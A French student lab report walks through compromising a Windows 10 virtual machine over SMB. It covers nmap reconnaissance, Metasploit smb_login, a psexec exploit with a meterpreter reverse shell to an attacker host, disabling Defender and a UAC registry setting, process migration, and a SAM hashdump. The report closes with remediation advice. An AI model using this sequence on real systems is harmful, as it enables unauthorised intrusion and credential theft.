

COMPTE RENDU : AUDIT ET COMPROMISSION D'UN SYSTÈME WINDOWS

1. Introduction

L'objectif de ce TP est de simuler une intrusion complète sur une machine Windows 10 via le service SMB (port 445). Ce rapport détaille le cheminement technique, les barrières de sécurité rencontrées (antivirus, registre, droits) et les méthodes utilisées pour les contourner.

2. Phase de Reconnaissance et Identification (Page 23)

L'audit commence par une phase passive et active pour identifier la cible.

- **Étape 1 :** Vérification de la connectivité via `ping 192.168.56.20`.
- **Étape 2 :** Scan des vulnérabilités disponibles et précision du service SMB. ◦ **Commande :** `nmap -p 445 --script smb-os-discovery 192.168.56.20` ◦ **Résultat :** Le port 445 est ouvert. Le script révèle l'OS (Windows 10) et le nom de la machine.

```
(nguifotso@nguifotso)-[~]
$ nmap -sS 192.168.56.20
Starting Nmap 7.98 ( https://nmap.org ) at 2026-04-27 20:29 +0200
mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled.
Try using --system-dns or specify valid servers with --dns-servers
Nmap scan report for 192.168.56.20
Host is up (0.00079s latency).
Not shown: 997 closed tcp ports (reset)
PORT      STATE SERVICE
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
MAC Address: 08:00:27:D9:53:0C (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 0.70 seconds

(nguifotso@nguifotso)-[~]
```

```
(nguifofotso@nguifofotso)-[~]
$ nmap -p 445 --script smb-os-discovery 192.168.56.20
Starting Nmap 7.98 ( https://nmap.org ) at 2026-04-27 20:34 +0200
mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled.
Try using --system-dns or specify valid servers with --dns-servers
Nmap scan report for 192.168.56.20
Host is up (0.0013s latency).

PORT      STATE SERVICE
445/tcp    open  microsoft-ds
MAC Address: 08:00:27:D9:53:0C (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 0.26 seconds
```

3. Simulation et Exploitation d'Identifiants (Page 24)

Nous avons créé un utilisateur `testuser` avec le mot de passe `password123!`.

```
C:\Windows\system32>net user testuser password123! /add
La commande s'est terminée correctement.
```

A. Validation avec SMB_LOGIN

- **Difficulté rencontrée :** Lors du premier essai avec `auxiliary/scanner/smb/smb_login`, l'erreur `RHOSTS failed to validate` est apparue car l'adresse IP n'avait pas été configurée après un redémarrage du module.

```
msf > use auxiliary/scanner/smb/smb_login
[*] New in Metasploit 6.4 - The CreateSession option within this module can o
pen an interactive session
msf auxiliary(scanner/smb/smb_login) > set SMBUser testuser
SMBUser => testuser
msf auxiliary(scanner/smb/smb_login) > set SMBPass password123!
SMBPass => password123!
msf auxiliary(scanner/smb/smb_login) > run
[-] Msf::OptionValidateError One or more options failed to validate: RHOSTS.
msf auxiliary(scanner/smb/smb_login) > █
```

- **Rectification :** Configuration de `set RHOSTS 192.168.56.20`.
- **Résultat : Succès** (Message vert confirmant la validité du compte).

```
msf auxiliary(scanner/smb/smb_login) > set RHOSTS 192.168.56.20
RHOSTS => 192.168.56.20
msf auxiliary(scanner/smb/smb_login) > run
[*] 192.168.56.20:445 - 192.168.56.20:445 - Starting SMB login bruteforce
[+] 192.168.56.20:445 - 192.168.56.20:445 - Success: '.\testuser:password123!'
[!] 192.168.56.20:445 - No active DB -- Credential data will not be saved!
[*] 192.168.56.20:445 - Scanned 1 of 1 hosts (100% complete)
[*] 192.168.56.20:445 - Bruteforce completed, 1 credential was successful
[*] 192.168.56.20:445 - You can open an SMB session with these credentials and CreateSession set to true
[*] Auxiliary module execution completed
msf auxiliary(scanner/smb/smb_login) >
```

B. Tentative d'intrusion via PSEXEC (Page 25)

- **Échec initial :** La commande `run` de l'exploit `psexec` a renvoyé `STATUS_ACCESS_DENIED`.

```
msf auxiliary(scanner/smb/smb_login) > use exploit/windows/smb/psexec
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
msf exploit(windows/smb/psexec) > set RHOSTS 192.168.56.20
RHOSTS => 192.168.56.20
msf exploit(windows/smb/psexec) > set SMBUser testuser
SMBUser => testuser
msf exploit(windows/smb/psexec) > set SMBPass password123!
SMBPass => password123!
msf exploit(windows/smb/psexec) > run
[*] Started reverse TCP handler on 192.168.56.30:4444
[*] 192.168.56.20:445 - Connecting to the server...
[*] 192.168.56.20:445 - Authenticating to 192.168.56.20:445 as user 'testuser'
...
[-] 192.168.56.20:445 - Exploit failed [no-access]: RubySMB::Error::UnexpectedStatuscode The server responded with an unexpected status code: STATUS_ACCESS_DENIED
[*] Exploit completed, but no session was created.
msf exploit(windows/smb/psexec) >
```

- **Analyse de l'échec :** Windows bloque l'administration à distance pour les comptes locaux même avec le bon mot de passe (UAC Remote Restriction).
- **Rectification (Windows) :** 1. Ajout de la clé de registre `LocalAccountTokenFilterPolicy` à 1.

```
C:\Windows\system32>reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "LocalAccountTokenFilterPolicy" /t REG_DWORD /d 1 /f
L'opération a réussi.
```

2. Ajout de l'utilisateur au groupe local des Administrateurs : `net localgroup`

`Administrateurs testuser /add.`

- **Second échec** : Message `Service start timed out`. L'Antivirus **Windows Defender** bloquait l'exécution de la charge utile.
- **Rectification finale** : Désactivation de la "Protection en temps réel" sur Windows et changement du payload pour `windows/x64/meterpreter/reverse_tcp`.

```
msf exploit(windows/smb/psexec) > run
[*] Started reverse TCP handler on 192.168.56.30:4444
[*] 192.168.56.20:445 - Connecting to the server ...
[*] 192.168.56.20:445 - Authenticating to 192.168.56.20:445 as user 'testuser'
...
[*] 192.168.56.20:445 - Selecting PowerShell target
[*] 192.168.56.20:445 - Executing the payload ...
[+] 192.168.56.20:445 - Service start timed out, OK if running a command or n
on-service executable ...
[*] Sending stage (190534 bytes) to 192.168.56.20
[*] Meterpreter session 1 opened (192.168.56.30:4444 → 192.168.56.20:53781)
at 2026-04-27 13:04:29 +0200

meterpreter > █
```

4. Post-Exploitation et Extraction (Page 25)

Une fois la session ouverte, nous avons dû stabiliser nos droits pour extraire la base SAM.

- **Échec de Hashdump** : La première tentative a renvoyé `Incorrect function` car le processus actuel n'avait pas les droits suffisants sur la mémoire système.

```
meterpreter > hashdump
[-] priv_passwd_get_sam_hashes: Operation failed: Incorrect function.
```

- **Rectification (Migration)** : 1. Analyse des processus avec `ps`.

PID	PPID	Name	Arch	Session	User	Path
0	0	[System Process]				
4	0	System	x64	0		
92	4	Registry	x64	0		
284	628	svchost.exe	x64	0		
292	4	smss.exe	x64	0		
364	628	svchost.exe	x64	0	AUTORITE NT\SYSTEM	C:\Windows\System32\svchost.exe
368	756	RuntimeBroker.exe	x64	1	DESKTOP-TJAIRN\Tambou-Maxime	C:\Windows\System32\RuntimeBroker.exe
408	628	svchost.exe	x64	0	AUTORITE NT\System	C:\Windows\System32\svchost.exe
416	404	csrss.exe	x64	0		
492	484	csrss.exe	x64	1		
500	404	wininit.exe	x64	0		
560	484	winlogon.exe	x64	1	AUTORITE NT\System	C:\Windows\System32\winlogon.exe
600	628	svchost.exe	x64	0	AUTORITE NT\System	C:\Windows\System32\svchost.exe
624	628	svchost.exe	x64	0	AUTORITE NT\SYSTEM	C:\Windows\System32\svchost.exe

2. Migration vers un processus système stable : `migrate 560` (PID de `winlogon.exe`).

- **Résultat Final** : La commande `hashdump` a réussi à lister tous les utilisateurs et leurs empreintes (hashes).

```
meterpreter > migrate 560
[*] Migrating from 1720 to 560 ...
[*] Migration completed successfully.
meterpreter > hashdump
Administrateur:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Invité:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Tambou-Maxime:1001:aad3b435b51404eeaad3b435b51404ee:259745cb123a52aa2e693aaaca2db52:::
testuser:1002:aad3b435b51404eeaad3b435b51404ee:8119935c5f7fa5f57135620c8073aaaca:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:60412083bb253a43f3294a525c9121c6:::
meterpreter >
```

5. Analyse des Causes et Mesures de Sécurité

Pourquoi l'attaque a réussi :

1. **Mot de passe trivial** : `password123!` a été craqué instantanément par simple test.

2. **Configuration affaiblie** : La désactivation de Defender et la modification du registre (nécessaires pour le TP) montrent que sans ces barrières, Windows est totalement vulnérable.

Mesures de remédiation :

- Imposer des **mots de passe complexes** (12+ caractères).
- Désactiver le protocole **SMBv1** et restreindre l'accès au port 445 via un pare-feu. □
Activer l'**authentification multifacteur (MFA)** pour les accès distants.

6. Conclusion

Ce TP a permis de passer de la théorie à la pratique en surmontant les obstacles réels d'un système Windows moderne. La réussite finale (extraction des hashes) démontre que la sécurité d'un réseau dépend autant de la configuration technique que de la vigilance des utilisateurs face aux identifiants faibles.